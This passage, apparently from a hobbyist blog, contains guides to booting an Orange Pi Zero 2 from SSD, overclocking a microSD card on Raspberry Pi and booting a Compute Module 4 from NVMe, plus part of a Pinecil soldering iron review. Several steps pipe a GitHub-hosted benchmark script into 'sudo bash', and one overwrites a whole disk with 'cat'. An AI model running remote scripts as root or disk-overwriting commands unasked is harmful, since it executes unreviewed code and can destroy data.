this. You don’t need to buy a Raspberry Pi for a Pi Hole anymore and you shouldn’t if it is costing you $100+. I would highly recommend it for projects like a PiHole or other low powered servers / services as you will save a fortune getting a board like this and the performance is more than enough for that use case. Is it as good as the Raspberry Pi? No it’s not as good as the Raspberry Pi. If the Raspberry Pi is 5 stars I would give Orange Pi about 4 stars which is the closest any other manufacturer has come that I’ve tested. Other Resources I’ve also reviewed the Orange Pi portable monitor here The Orange Pi Zero 2 can actually use a SSD! Check out my Orange Pi Zero 2 SSD Booting Guide If you want to install Android on your Orange Pi instead of Linux definitely check out my Orange Pi Android Installation Guide For strategies on dealing with the Pi shortage check out my Raspberry Pi Shortage Survival Guide For ideas on other SBCs to buy many of them have been tested on Pi Benchmarks and you may get some good ideas there! #### Orange Pi Zero 2 USB SSD Boot Guide Orange Pi Zero 2 SSD Boot Guide During my recent coverage of SBCs I’ve been benchmarking them using SSDs. The process for booting from a SSD varies across different boards. I’ve found the documentation for some of these to be lacking / nonexistent and the Orange Pi Zero 2 is one of these. Today I wanted to benchmark the Orange Pi Zero 2 with the SSD and given the lack of documentation I’m going to document my process for setting it up. The Orange Pi Zero 2 will require a sacrificial SD card to bootstrap the process and has USB 2.0 ports. With those limitations in mind let’s set it up and see how it performs! Table of Contents Toggle Hardware UsedChoosing a DriveFirst Step – Have Working InstallationClone InstallationChange SD card’s UUIDRun fsckReboot and VerifyResize SSD PartitionTroubleshooting NoteTesting PerformanceConclusionOther Resources Hardware Used Orange Pi Zero 2* StarTech 2.5″ SATA Adapter* Sabrent Powered USB Hub* Choosing a Drive Some possible drive types include 2.5″ SATA, M.2 SATA, mSATA and M.2 NVMe. I do not recommend using a NVMe drive with the Orange Pi Zero 2 because it has USB 2.0 ports. That is a total and complete waste as we are definitely going to max out the USB 2.0 bus with even a garbage-tier unbranded 2.5″ SSD. I typically do not recommend USB flash drives either. No matter how fast you think it is unless it is a REAL solid state drive (SSD) it’s slower than your SD card. The best choices are definitely something like an older cheap 2.5″ SATA or M.2 SATA SSD. I will be using a 2.5″ SATA drive (Crucial MX200 250GB*) to write this guide. First Step – Have Working Installation The first step in this method is to already have a working installation of the OS you want to use for SSD booting installed on your SD card. Many of you will have this already unless you’re installing something totally new. The next thing you should do is make sure it is fully updated with: sudo apt update && sudo apt full-upgrade -y Having a fully updated installation will make everything much simpler as we are going to clone a fully working and up to date installation to our SSD instead of try to do a fresh image on a board that isn’t really intended for SSD booting. Clone Installation With the Orange Pi Zero 2 booted up using your working installation it’s time to plug your SSD into the Orange Pi Zero 2 using your USB to X adapter. You should see devices pop up for /dev/sda in lsblk: orangepi@orangepizero2:~$ sudo lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 232.9G 0 disk ├─sda1 8:1 0 1M 0 part ├─sda2 8:2 0 15M 0 part └─sda3 8:3 0 232.9G 0 part mmcblk1 179:0 0 59.5G 0 disk └─mmcblk1p1 179:1 0 58.9G 0 part / zram0 252:0 0 492.1M 0 disk [SWAP] zram1 252:1 0 50M 0 disk /var/log zram2 252:2 0 492.1M 0 disk /tmp First clean off the SSD by running: sudo fdisk /dev/sda Delete all partitions until it is completely blank. Now we can copy the entire SD card to our SSD with the following command: sudo cat /dev/mmcblk1 > /dev/sda Wait for the operation to complete (there won’t be any output but you will have a cursor again and be able to type new commands). If you are having any trouble with permissions try becoming “root” first with: sudo su Now try running the command again and as the superuser you should not encounter any permission errors. Change SD card’s UUID Now unplug the SSD and plug it back in. We need to change our SD card’s UUID so that it doesn’t try to boot from that partition. We can set it to a random one with the following command: sudo tune2fs -U random /dev/mmcblk1p1 We can verify that it has changed with blkid like this: orangepi@orangepizero2:~$ sudo blkid /dev/mmcblk1p1: UUID="9c0a441b-5aaf-4cf1-bec7-b457d3966cb6" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e8ce0794-01" /dev/zram0: UUID="66b180ff-2899-431b-b8b7-8347d9af85eb" TYPE="swap" /dev/zram1: LABEL="log2ram" UUID="d87403e0-1d2f-4356-905d-9dfaba14b6ee" BLOCK_SIZE="4096" TYPE="ext4" /dev/zram2: LABEL="tmp" UUID="9abe5f8e-49b7-41d6-839b-3d2e0aa3b9cd" BLOCK_SIZE="4096" TYPE="ext4" /dev/sda1: UUID="5dd5b836-fb32-4678-908e-d23f7a028780" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e8ce0794-01" Notice that /dev/sda1 and /dev/mmcblk1p1 no longer have matching UUIDs. This is exactly what we want. Run fsck Before we reboot run e2fsck on the drive like this: sudo e2fsck -yf /dev/sda1 This will prevent you from having to run fsck on the CLI the first time you try to boot. Reboot and Verify Now reboot the Orange Pi with: sudo reboot With any luck you should be booted using your SSD! We can verify this with the mount command like this: orangepi@orangepizero2:~$ mount sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on /proc type proc (rw,nosuid,nodev,noexec,relatime) udev on /dev type devtmpfs (rw,nosuid,relatime,size=431840k,nr_inodes=107960,mode=755) devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=100776k,mode=755) /dev/sda1 on / type ext4 (ro,noatime,errors=remount-ro,commit=600) /dev/sda1 on /var/log.hdd type ext4 (ro,noatime,errors=remount-ro,commit=600) /dev/zram1 on /var/log type ext4 (rw,relatime,discard) tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=100772k,nr_inodes=25193,mode=700,uid=1000,gid=1000) Here we can see that our root partition (/) is indeed on /dev/sda and not /dev/mmcblk1. Success! Resize SSD Partition Once you’ve rebooted and verified you are booted from the SSD we can resize the SSD’s partition to be the same size. We can use a built in service on the Orange Pi to do this. Use the following command: sudo systemctl start orangepi-resize-filesystem.service This will take a few minutes depending on how large your SSD is. Once it is finished verify you are using the full space on your SSD with: orangepi@orangepizero2:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sda 8:0 0 232.9G 0 disk └─sda1 8:1 0 230.5G 0 part / mmcblk1 179:0 0 59.5G 0 disk └─mmcblk1p1 179:1 0 58.9G 0 part zram0 252:0 0 492.1M 0 disk [SWAP] zram1 252:1 0 50M 0 disk /var/log Here we can see that my SSD’s partition is now the correct size for a 250GB SSD and is no longer only 58.9G like our original partition from the SD card. Troubleshooting Note The first time you try rebooting you may get an initramfs screen that says you need to do a manual fsck. This usually means you didn’t completely clean the partitions off the SSD (don’t be ashamed, I didn’t the first time either which is why I know it can be fixed). That can be fixed by using: e2fsck /dev/sda1 -y or: fsck.ext4 /dev/sda1 It should say the filesystem is clean after this and let you boot normally. Once it boots up it wouldn’t hurt to give it a: sudo e2fsck /dev/sda1 -y Fixing these may take a while. I had to do this second fsck because even though my system booted after the first fsck the disk was mounted as read-only due to additional errors (which is why it will let you fsck the root partition while actively booted which is normally a no-go, it’s in a protected read-only mode due to errors). After this comes out clean reboot one more time and you should be all set with a read-write root partition on your SSD! Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash I ran the benchmark with full knowledge that we were using USB 2.0 and were going to be limited in our score. Nevertheless I wanted to see what the improvement over using the SD card was. Here are the results: Category Test Result HDParm Disk Read 37.08 MB/s HDParm Cached Disk Read 36.94 MB/s DD Disk Write 37.8 MB/s FIO 4k random read 4745 IOPS (18980 KB/s) FIO 4k random write 4426 IOPS (17704 KB/s) IOZone 4k read 8094 KB/s IOZone 4k write 10667 KB/s IOZone 4k random read 8020 KB/s IOZone 4k random write 10652 KB/s Score: 2,593 You may view the full benchmark on Pi Benchmarks for the Orange Pi Zero 2 here. Wow, that is a score of 2,593! That absolutely smashes any other tests for the Orange Pi Zero 2 on the site and is the new world record. To give some context here the maximum score you can achieve over USB 2.0 is something around 2500-2600 points. This is true on Raspberry Pi Model 3s and older which only have USB 2.0 ports. They also max out around the same score. This is more than double the fastest SD card score anyone has ever achieved on the board. That means it is absolutely worth it to use a SSD with the Orange Pi Zero 2! Conclusion It’s working 100%! We are getting full USB 2.0 speeds and maxing out the bus and substantially outperforming any micro SD card. It’s not too difficult to achieve this setup using this method. It’s also very cheap. You can find 2.5″ SATA drives for less than $20 as well as M.2 SATA drives and those will more than max out the bus. I highly recommend trying this for all Orange Pi Zero 2 owners! It was worth it on the Raspberry Pi 3 even over USB 2.0 (and I was doing it back then like in this benchmark with an almost identical score on the Pi 3 due to the USB 2.0 bus just like with this one). It’s worth it on the Orange Pi Zero 2 over USB 2.0 as well. A 2x-2.5x increase in speed is worth it for a relatively easy setup process. Just make sure to use a cheap drive as anything more is massive overkill / a waste due to USB 2.0 limitations! Other Resources I’ve also reviewed the Orange Pi portable monitor here Make sure you check out my Orange Pi Zero 2 review and tips/tricks guide If you have the Orange Pi i96 check out my updated image available for it here Another amazing cheap use of 2.5″ SATA adapters is using them for upgrading your last-gen PS4 or Xbox One gaming consoles! Want to see an even insanely cheaper board than the Orange Pi Zero 2? Check out my guide on the Orange Pi i96 headless board which is available for something like $7. If you like retro gaming you may be interested in my ODROID Go Super Guide! #### Overclocking Samsung Pro Plus MicroSD to 99MHz on Raspberry Pi In my quest for maximum performing MicroSD cards in the Raspberry Pi* I decided to purchase the top performing card in most benchmarks which is the Samsung Pro Plus. However, the common overclock for the Raspberry PI SD port to 100MHz does not seem to work with these cards and they become unstable. However, through a little bit of tweaking and experimentation, I found that these cards can be clocked to 99MHz and work just fine and provide a substantial performance boost. Table of Contents Toggle EquipmentPerformance Difference: BeforePerformance Difference:  AfterHow do I do it?Instructions to Benchmark Equipment Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* *Samsung Pro Plus Micro SD 32GB* Performance Difference: Before Before you go through the trouble of doing this you might wonder if this actually makes a performance difference and if it’s worth it. The answer is definitely yes. Here are my benchmarks from 80MHz to 99MHz: Raspberry Pi Dramble microSD benchmarksmicroSD clock: 80.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 82 MB in 3.06 seconds = 26.82 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 17.9173 s, 23.4 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 2322 2902 9067 8970 8864 1861 Performance Difference:  After And now for the 99MHz clock: Raspberry Pi Dramble microSD benchmarksmicroSD clock: 99.000 MHzRunning hdparm test…/dev/mmcblk0:Timing buffered disk reads: 106 MB in 3.04 seconds = 34.87 MB/secRunning dd test…51200+0 records in51200+0 records out419430400 bytes (419 MB) copied, 16.5307 s, 25.4 MB/sRunning iozone test…random randomkB reclen write rewrite read reread read write102400 4 2400 2917 9759 9695 9620 1952iozone test complete.microSD card benchmark complete! As you can see there are some pretty big gains here. Our hdparm read tests went from 26MB/sec to 34MB/sec and our dd write and random 4k I/O tests also went up. This means whether you are running your Pi as a media server or just using it as an operating system you will see performance gains from increasing the clock to 99MHz. I have performed extensive testing at 99MHz such as upgrading a Kali distribution to kali-full (very disk intensive operation) and ran a Minecraft server with these settings and they are rock solid stable. I have no idea why at 100MHz these Samsung Pro cards suddenly stop working on the Raspberry Pi but 99MHz works just fine. How do I do it? The secret to getting the 99MHz clock has to do with your Raspberry Pi’s core speed. You want your core speed to be a divisor of 99. You do this using the Raspberry Pi’s config.txt located in the /boot/ folder. These benchmarks were taken with a pretty aggressive core overclock. Please remember overclocking your Pi is at your own risk and I am not responsible for anything that happens! Here are the settings I used on a Raspberry Pi 3: # Overclock the SD carddtparam=sd_overclock=99 # Configure overvoltage (needed for core and CPU overclocks)over_voltage=4 # Overclock the corecore_freq=495 This is a pretty aggressive overclock. A more moderate one would be: # Overclock the SD carddtparam=sd_overclock=99 # Configure overvoltage (needed for core and CPU overclocks)over_voltage=2 # Overclock the corecore_freq=396 A very conservative clock speed with no overvoltage at all would be # Overclock the SD carddtparam=sd_overclock=99 # Overclock the corecore_freq=297 The important thing is that your core_freq / 99 comes out to an even number. You don’t HAVE to have an even number, but when you run the benchmarks you will see that the Pi adjusts it to frequencies that are not even divisors. One I saw was 81.75MHz or something similar. Either way, I highly recommend clocking your Samsung Pro cards to 99MHz because even as fast as it is it can go even faster! Instructions to Benchmark For the latest analysis of the results and recommended choices of what storage to use check out the Pi Storage Benchmarks Analysis Page. To run the benchmark yourself type/paste: curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash #### PCIe 1x NVMe on Raspberry Pi?! Compute Module 4 Guide NVMe PCIe 1x Vertical Adapter in CM4 IO Board I recently covered all the pieces you need for a complete setup to work with the Raspberry Pi Compute Module 4. Today I want to cover the whole reason I wanted to investigate the Compute Module 4: The PCI express capabilities! In this guide I’ll cover a couple of 1x PCIe to NVMe adapters I picked up to try doing this with as well as full configuration and setup instructions. Let us begin! Table of Contents Toggle PrerequisitesPCIe to NVMe 1x AdaptersChanging Boot Order(Optional) Choose / Update Firmware Version(Optional) Further Bootloader Configuration ChangesFlashing New Boot Order / Firmware / Configuration(Optional) Windows Specific InstructionsPreconfigure NVMe Device for CM4Enable USB PortsEnable SSHPreconfigure WiFi / WirelessFirst BootBenchmarking / Testing StorageVerify Bootloader / FirmwareConclusionOther Resources Prerequisites Raspberry Pi Compute Module 4 – Base Board The Compute Module 4 by the Raspberry Pi Foundation is a single-board computer (SBC) that is meant to be used in embedded devices. It has many new capabilities that have not been seen on other Pis before such as a built in eMMC module (optional) and has PCI express capabilities when used with the IO board. Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Make sure you’ve imaged your NVMe drive with an operating system of your choice such as Raspberry Pi OS, Ubuntu or your preferred distro. You may have to actually put the drive into a PC temporarily (you can use the 1x adapter in one) or if you have a USB to NVMe adapter (lots of Pi users should have one of these already) you’re good to go. This guide will assume you’ve done this and the drive is prepped. The official Raspberry Pi Imager tool is a great choice to take care of imaging needs for you and is available for Windows / Mac OS X / Linux. Here’s a suggested drive if you don’t have one yet: Samsung 970 EVO Plus NVMe SSD The Samsung 970 EVO Plus is a fantastic drive and has fallen in price substantially. It’s widely available around the world. The smaller capacities (such as the 250GB version) of this drive are perfect for the Pi! This is the top performance option without going into the “Pro” series of the lineup which are much more expensive. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* You will also need a IO board that has a PCI express slot: Raspberry Pi Compute Module 4 – IO Board This is essentially the “motherboard” of the compute module. This IO breakout board lets us work with the compute module and get the ports we need to interface with it. This includes a SD card slot for models that don’t have eMMC, a PCI express slot (very exciting), 2 USB ports and more. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Power requirements are also an issue. If you are using a powerful (or power hungry) NVMe drive you will for sure need something like this: 12V DC 4A Power Adapter Supply Delivers a full 12V DC to the IO board so that there’s enough power to run very powerful NVMe drives / accessories Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* If your NVMe drive is performing extremely slowly / booting into emergency mode / things like that it’s very likely that it’s not receiving enough power! PCIe to NVMe 1x Adapters I picked up two different style adapters from Amazon to test. The first one is a very simple vertical standing adapter. My full benchmark for this adapter is available here: Pi Benchmarks – #48606 Cablecc NGFF M-Key NVME SSD to PCI-E 3.0 1x Vertical Adapter The Cablecc 1x PCIe M.2 NVMe adapter sticks straight up out of the board. It doesn’t take up a lot of space and ends up being pretty compact (as long as you have vertical space!) Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Next up we have an adapter that sits horizontally and comes with some optional mounting brackets. This adapter scored about 400 points higher (may be a slightly better chipset) and has a green LED indicator light (the cablecc has no light of any kind). Benchmark available here: Pi Benchmarks – #48607 Xiwai PCI-E 3.0 x1 M.2 NGFF M-Key SSD NVMe Adapter Card The Xiwai PCI-E 3.0 x1 Lane to M.2 NGFF M-Key SSD NVMe AHCI adapter card sits horizontally and comes with a couple of different size shrouds meant for mounting (not required). This takes up less vertical space but more horizontal space. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Changing Boot Order While the PCIe to NVMe adapters are pretty much plug and play in this setup switching the boot order of the Compute Module 4 is a little bit more in depth. It requires using the rpiboot tool on a different computer / Pi with the CM4’s “disable eMMC boot” jumper (j2) bridged with the pin directly below it so the Pi is able to boot into USB mass storage mode and be flashed with bootloader/firmware updates. To do this we need to get a copy of the rpiboot/usbboot utility’s source tree. If you followed my CM4 setup guide you will already have the ‘usbboot’ folder and can skip cloning. If you are using Windows you will need to do this on your Pi and we will copy the final resulting folder over to Windows (for now just do the instructions on your Pi). git clone --depth=1 https://github.com/raspberrypi/usbboot cd usbboot make Now we’re going to enter the ‘recovery’ subdirectory and edit the bootloader configuration like this to change the boot priority: cd recovery sed -i -e '/^BOOT_ORDER=/ s/=.*$/=0xf25416/' boot.conf ./update-pieeprom.sh You can also change boot.conf manually using nano followed by running ./update-pieeprom.sh. The boot type for PCI express is 6, so that should be your first type (which means it should be the number at the end of the string like I have in the above example) if you want to boot from PCI express. (Optional) Choose / Update Firmware Version The CM4 will have the exact firmware that is in your git source tree as the file “pieeprom.original.bin” inside the “recovery” folder at the end of this process. We need to use the rpiboot utility to update the firmware. I will use the latest firmware at time of writing but check for the latest firmware at: the official rpi-eeprom Raspberry Pi GitHub Repository (if there is a newer one replace the pieeprom-2022-07-26.bin in the curl command below with the newer version file name). Use these commands (from inside the usbboot/recovery directory): rm -f pieeprom.original.bin curl -L -o pieeprom.original.bin https://github.com/raspberrypi/rpi-eeprom/raw/master/firmware/stable/pieeprom-2022-07-26.bin ./update-pieeprom.sh Mine looked like this when updating from my Pi 400: pi@pi400:~/usbboot/recovery $ ./update-pieeprom.sh + /home/pi/usbboot/tools/rpi-eeprom-config --config boot.conf --out pieeprom.bin pieeprom.original.bin + set +x new-image: pieeprom.bin source-image: pieeprom.original.bin config: boot.conf pi@pi400:~/usbboot/recovery $ (Optional) Further Bootloader Configuration Changes If there are any other bootloader parameters you would like to change you can do so using the file boot.conf like this (from inside the usbboot/recovery directory): nano boot.conf Make changes and press Ctrl+X then type 'y' to save ./update-pieeprom.sh Flashing New Boot Order / Firmware / Configuration We are now ready to run the rpiboot utility and use it to flash the new bootloader configuration and firmware to our Pi. You should still be in the “recovery” directory from the previous steps. Go to the base of the “usbboot” directory with: $ cd .. $ ls bin2c debian imager main.c msd Readme.md rpiboot bin2c.c fmemopen.c LICENSE Makefile recovery win32 You should see the “rpiboot” utility like the above example if you’re in the base of the usbboot directory. If your host PC you will be plugging the USB cable into for flashing runs Linux use the command: sudo ./rpiboot -d recovery Make sure your Compute Module 4 IO board’s “disable MMC boot” jumper J2 is bridged with the lower pin to disable eMMC boot. Now connect the power: api@pi:~/usbboot $ sudo ./rpiboot -d recovery Loading: recovery/bootcode4.bin Waiting for BCM2835/6/7/2711... Loading: recovery/bootcode4.bin Sending bootcode.bin Successful read 4 bytes Waiting for BCM2835/6/7/2711... Loading: recovery/bootcode4.bin Second stage boot server Loading: recovery/config.txt File read: config.txt Loading: recovery/pieeprom.bin Loading: recovery/pieeprom.bin Loading: recovery/pieeprom.sig File read: pieeprom.sig Loading: recovery/pieeprom.bin File read: pieeprom.bin Second stage boot server done pi@pi:~/usbboot $ (Optional) Windows Specific Instructions If you are using Windows transfer the “recovery” folder you generated using the Pi over to Windows and run it in “Command Prompt” like this (make sure you’ve installed the rpiboot utility for Windows first, see my CM4 setup guide for links/instructions): "C:\Program Files (x86)\Raspberry Pi\rpiboot.exe" -d recovery or you can fully qualify your paths with: "C:\Program Files (x86)\Raspberry Pi\rpiboot.exe" -d "C:\YourPathTo\recovery" and connect the IO board (with the disable eMMC boot jumper set). You will see the same output as the Linux example above and the CM4 will be updated! Preconfigure NVMe Device for CM4 If you attempt to boot now you will not have working USB ports, ssh, or any wireless configuration. We can preconfigure your NVMe device by plugging the device into a computer / Pi. You should see the “boot” volume where we can preconfigure our CM4 to be working right from the start. Enable USB Ports When mounted in the IO board the USB ports will not function without making a change to config.txt and adding an overlay. Add the following line to config.txt: dtoverlay=dwc2,dr_mode=host After adding this line the two USB ports (as well as the “External USB” header) will function the next time the CM4 boots. Enable SSH It’s very useful to have SSH enabled when working with the Compute Module 4. It is enabled simply by creating an empty file named: ssh in the root folder of the “boot” volume (the top-most folder of the drive where start4x.elf, fixup.dat and those files are located) Now when the Pi starts up SSH will automatically be enabled! Preconfigure WiFi / Wireless You can also preconfigure the Compute Module 4 (and any Pi) by creating wpa-supplicant.conf at the base of the “boot” volume like we did with “ssh” file. Create a new file named wpa-supplicant.conf that contains the following: ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev country=US update_config=1 network={ ssid="YourNetwork" psk="YourPassword" } When this file is created in the base of the “boot” volume it will automatically be applied to the Pi upon the next startup. Make sure to adjust your country=US line to your own country as this can impact what channels and functionality are available from your WiFi card! First Boot You are now ready to boot your Compute Module 4. Go ahead and remove the jumper now from J2 and the pin below it and connect your prepped NVMe drive. If you’re using a monitor connect it to the IO board first before turning on the power. Now connect power to the IO board and the PCIe/NVMe boot process will start. Your OS should boot with your preconfigured settings! My first boot was a little sluggish (most likely first boot operations on your drive) so give it a little bit of extra time here before assuming it failed. You should verify your boot device by running: sudo mount | grep "/dev/" Make sure that the first line (usually your root) is something like /dev/nvme0n1p2 (the NVMe drive) and not /dev/mmcblk0p2 (that would be the eMMC or a SD card)! Benchmarking / Testing Storage Once you’ve booted up you can verify your drive’s performance using my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive / eMMC / etc. on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Verify Bootloader / Firmware You can verify your firmware version once you boot the Compute Module 4 by running rpi-eeprom-update which should look like this: sudo CM4_ENABLE_RPI_EEPROM_UPDATE=1 rpi-eeprom-update BOOTLOADER: up to date CURRENT: Tue 06 Jul 2021 10:44:53 AM UTC (1625568293) LATEST: Tue 06 Jul 2021 10:44:53 AM UTC (1625568293) RELEASE: stable (/lib/firmware/raspberrypi/bootloader/stable) Use raspi-config to change the release. VL805_FW: Using bootloader EEPROM VL805: up to date CURRENT: LATEST: The firmware version for “CURRENT” should match the exact version you used for pieeprom.original.bin in our curl command we used when we were preparing the “nvme” folder earlier regardless of what is available in the repository. Conclusion These are by far the highest benchmarking scores I’ve ever got and at a score of nearly 20,000 it put me on the top scores page and was definitely well worth the setup and configuration! I’m excited to experiment more with the PCI express capabilities and see what more the Compute Module 4 is capable of. I also have ordered a 8 GB CM4 that has eMMC as well as the built in WiFi (missing on my current model and it’s only a 2GB) which should let me experiment with some of the other smaller IO boards available and some of the other compute module specific capabilities that look really exciting as well. I have 1x PCI risers that I use for cryptocurrency mining with GPUs that would theoretically allow me to connect some interesting things like a GPU, a Intel Optane 900p PCI express drive, and a few other wild ideas! This is just scratching the surface of what the PCIe capabilities could enable on the Pi. Other Resources Definitely don’t miss my Shapes, Sizes and Features of Compute Module 4 IO Boards guide to see which IO boards may work best for your project For an explanation of the Pico W (a microcontroller) check out my Pico W Explained article or if you want to jump right into the action and see what it’s like to work with a Pico check out my Pico W Getting Started guide #### Pine64 Pinecil Soldering Iron Review Pine64 Pinecil Mini Soldering Iron Review The Pine64 Pinecil is described as a “smart mini portable soldering iron”. It’s very popular and has incredible Amazon ratings among a crowd that largely is probably unfamiliar with Pine64 as a company that makes single board computers. I was in dire need of a soldering iron upgrade and Razor Burn mentioned to me in one of the comments on the site that he had the Pinecil and loved it. I’ve investigated other Pine64 products before on the site as well and have other hardware from them. It’s also a RISC-V device! Today I’ll review the Pinecil and cover why this soldering iron is so popular. Let’s get started! Table of Contents Toggle Hardware UsedBuild QualityConfigurationUsageTesting SolderingUpdating FirmwarePros / ConsProsConsConclusionOther Resources Hardware Used Pine64 Pinecil The Pine64 Pinecil v2 is a smart soldering iron powered by a RISC-V chip. It’s very popular and is the #1 selling soldering iron on Amazon in many countries. Compatible with other ts100 soldering tips. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* According to Pine64 all of the Pinecil devices sold on AliExpress are fakes and they don’t recommend buying from AliExpress. Be aware there are a lot of known fakes of this product out there. Build Quality Let’s start with the packaging. The Pine64 Pinecil v2 comes like this: Pine64 Pinecil – Packaging This is a fine method to package this product. It will make it to you in one piece. The material that the device and tip are sitting is pretty firm. It’s firm enough to keep the box from smashing. The iron is incredibly light. It’s much lighter than my old soldering iron this is replacing. It feels very good with the rubber silicone grip in my hand. It feels much easier to keep steady than my old iron. Take a look at this iron vs. my old one: Pine64 Pinecil vs. old soldering iron Boy is this thing a lot easier to work with in tight spaces and with small electronics. What an upgrade. More on that later in the review. The design is also pretty modular. You can see the screws on the front of the handle. The device is easy to take apart. The tip design follows along this theme and just slides in and out very easily from the handle. There are additional tips available for the device (it’s compatible with ts100 tips) but it only comes with the main straight iron tip. Overall I’m very happy with the build quality. It feels incredibly light and portable like a smart mini soldering iron should. Configuration The Pinecil has many different menus with different configuration options. These are from the Pine64 Pinecil wiki page here: Power settings: settings related to power, battery cells, input voltage. Soldering settings: settings for soldering such as, boost temps, increments for temperature change Sleep mode: power & tip saving, such as sleep mode, sleep temperature, and shutdown modes, motion sensitivity User interface: settings such as, units C/F, display orientation, button reversal, animation speed, brightness, boot logo duration Advanced settings: assorted catchall for settings that don’t fit elsewhere or settings that require some thought before use. Restore default/factory settings is here. It will not change the firmware version, but rather resets the menu back to IronOS defaults. This is good to do after a major firmware update as settings may have been altered and need to be re-selected/customized again to work as expected. Usage You may use one of the following options to power the device: USB-C PD (power delivery), minimum 3 Amps, 12V DC 5525 Barrel jack charger, minimum 3 Amps, 12V Battery: connect to 18V-21V Lithium-ion tool batteries or 3S/4S/5S LiPo batteries Once you’ve supplied power to the device usage is as easy as pressing the + sign. You’ll immediately see the device start heating up. The device only takes about 10 seconds to reach 325C. It’s so nice to have the digital gauge as it will show you the temperature as it is heating up. Testing Soldering I have no shortage of boards around here that came with headers but I haven’t got around to soldering yet. I decided to try soldering headers on my Mango Pi MQ Pro for this test. This was my first attempt soldering with the tool and the pressure was on to not ruin such a beautiful board: Pine64 Pinecil – First solder attempt on MangoPi MQ Pro Will it be winning any beauty contests? Absolutely not. For my very first try with the tool though I will take it. I didn’t have to solder very often in the past and I’d intentionally been avoiding soldering these headers because I knew my previous soldering iron was going to make it a nightmare. The direction of my content and projects is taking me more and more in the soldering direction though so it’s time to upgrade my tools and improve my skills. I had absolutely zero bridges when doing this job. Will I greatly improve on my next try? Yes, I learned a lot from this attempt. I didn’t get as good of pad contact as I wanted because I needed to feed the solder a little bit closer to the board/pad. Ideally you wouldn’t see any of the gold ring I could go back and rework this (or I could have done it before I took the picture) by simply reheating the solder with the iron and coaxing some of the more top-heavy ones down onto the pad more evenly. I likely will rework a few of these later but they are all making contact. Some of the connections likely won’t hold over the long term without me going back and getting some of the bare ones more secured. I was simply so relieved to have no bridges as most of my old iron time would have been spent dealing with those. With the Pinecil I don’t have to worry about fighting with my iron as much and it should help me improve my skills pretty quickly. The important takeaway from this test of it is not that my soldering skills need improvement though. The point is that I could have never pulled off a working bridgeless solder on my first attempt with that old iron. It really helps how small and light the iron is. It’s legitimately easier to use than my old iron. I will be able to improve my skills quickly by doing another couple of boards that I also have waiting for headers to be soldered which I’m no longer dreading doing with the Pinecil. This only took me a few minutes to do with this iron whereas I would have spent 2-3 times as long as that just fighting with the bridges and messes I would have made with my old clunky and heavy iron. EDIT: I did go back and rework these. It was easy with the Pinecil. I was just feeding the solder poorly during my first attempt but it was dead easy to fix. All I did was touch the tip of the iron to the top of the solder to reheat it and the solder came back together into a more pointy shape better connected to the board. The weird shapes were a result of my poor feeding and not keeping all of the solder hot enough so parts of it cooled and solidified into shapes that some consider to be… unnatural. After heating the solder points up again gravity and other natural forces were enough to fix them for the most part. They didn’t want to stay in weird lumpy shapes once the solder got hot again. This took care of all the gold rings that were showing in my first attempt and the rework only took 2-3 minutes as well. Very nice! Updating Firmware The Pinecil v2 runs the IronOS operating system on the device. The official GitHub page is available here. You can see what version of the firmware is installed on the device by holding down the minus (-) button. You should see a screen like this: Pine64 Pinecil v2 – Version Display Here you can see I’m running version 2.20 dated 12/13/2022. This is the latest version at time of 